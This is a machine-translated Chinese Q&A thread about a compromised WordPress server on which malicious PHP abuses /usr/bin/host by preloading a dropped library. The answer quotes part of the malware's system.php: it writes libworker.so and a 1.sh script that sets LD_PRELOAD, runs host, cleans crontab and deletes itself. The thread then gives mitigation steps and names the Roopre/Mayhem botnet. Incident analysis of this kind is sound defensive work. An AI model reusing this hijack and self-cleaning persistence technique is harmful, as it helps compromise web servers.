今天我注意到 Apache 网络服务器上异常高的请求率以及相当高的传入网络流量。在检查 Apache 的 mod_status 页面后,我发现有问题的 URL 来自 path www.server.com/www/wp-includes/js/tinymce/plugins/wpautoresize/
。事实上,我在那里发现了几个被黑(混淆)的 PHP 脚本。
还注意到 www-data 用户执行的奇怪过程:
www-data 7300 10.8 0.1 2122900 18768 ? Ssl Jul11 121:47 /usr/bin/host
Run Code Online (Sandbox Code Playgroud)
检查/proc/7300/cmdline
发现这确实是原始/usr/bin/host
二进制文件。netstat -anp
显示它打开了许多 HTTP 连接,因此该二进制文件以某种方式被滥用。debsums
确认二进制校验和没有问题。由于该过程是在 www-data 用户下运行的,我没有理由相信服务器本身受到了威胁。
这个二进制文件是如何被滥用的?
编辑:这不是广泛的“如何处理受损服务器”问题。而是关于一种特定类型的滥用的问题(并且已经是一个答案),它在技术上是如何完成的,因为这个特殊案例在它的工作方式上非常有创意。似乎这已经流行了好几年了(旧线程和 2012 年的问题),我本周遇到了它。
Mar*_*555 10
在挖掘了被冒犯的 PHP 脚本的源代码和谷歌搜索(这个线程)之后,我找到了一个解释。
这是system.php
我发现的代码的一部分:
<?php
// ...
$n = file_put_contents("./libworker.so", $so);
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
@file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
// ...
Run Code Online (Sandbox Code Playgroud)
如何/usr/bin/host
参与是一个比较先进的。程序使用库(.so
文件)来实现它们的某些功能。用户可以LD_PRELOAD
在启动合法二进制文件之前预链接 ( ) 一些 .so 文件以更改其行为方式。
正如你所看到的,这个脚本创建了一个文件libworker.so
并使用LD_PRELOAD
环境变量来预加载它,所以合法的host
二进制文件正在做一些完全不同的事情。
它创建一个1.sh
shell 脚本并尝试以多种方式执行它(直接、使用at
命令、使用 cron)。紧接着它会从磁盘中删除脚本和库文件,因此它不会被注意到。
首先发生的事情是一些易受攻击的 Wordpress 插件被滥用,攻击者能够将他们的文件放入可写的目录中。
缓解意味着分析该域的旧访问日志文件并尝试查找POST
对异常位置的任何请求 - 例如直接访问 WP/Joomla 插件的 PHP 文件是不寻常的。然后删除所有发现的混淆 PHP 文件,修复目录权限,终止正在运行的host
进程并监视日志文件以查找任何重新黑客攻击的尝试。
编辑:我从 ESET 得到信息,他们已经检测到这个特定的库和其他版本。防病毒公司将其命名为Roopre,它似乎被用作Mayhem僵尸网络的一部分。
对 Mayhem 僵尸网络的深入分析。
深入分析这个漏洞。
归档时间: |
|
查看次数: |
4774 次 |
最近记录: |